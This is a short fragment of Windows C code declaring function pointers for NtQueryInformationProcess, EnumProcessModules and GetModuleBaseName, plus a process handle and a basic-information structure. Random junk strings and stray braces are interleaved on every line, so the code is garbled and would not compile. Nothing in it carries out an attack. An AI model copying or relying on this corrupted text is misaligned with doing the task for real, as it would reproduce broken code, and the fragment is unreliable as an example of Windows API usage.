PROCNTQSIP NtQueryInformationProcess; n^nQrRIp
{MUO25s02
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UG]x CkDS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C#P>3"
}%<cFi &
HANDLE hProcess; #%{
PROCESS_BASIC_INFORMATION pbi; -VP_Aw$
O%<+&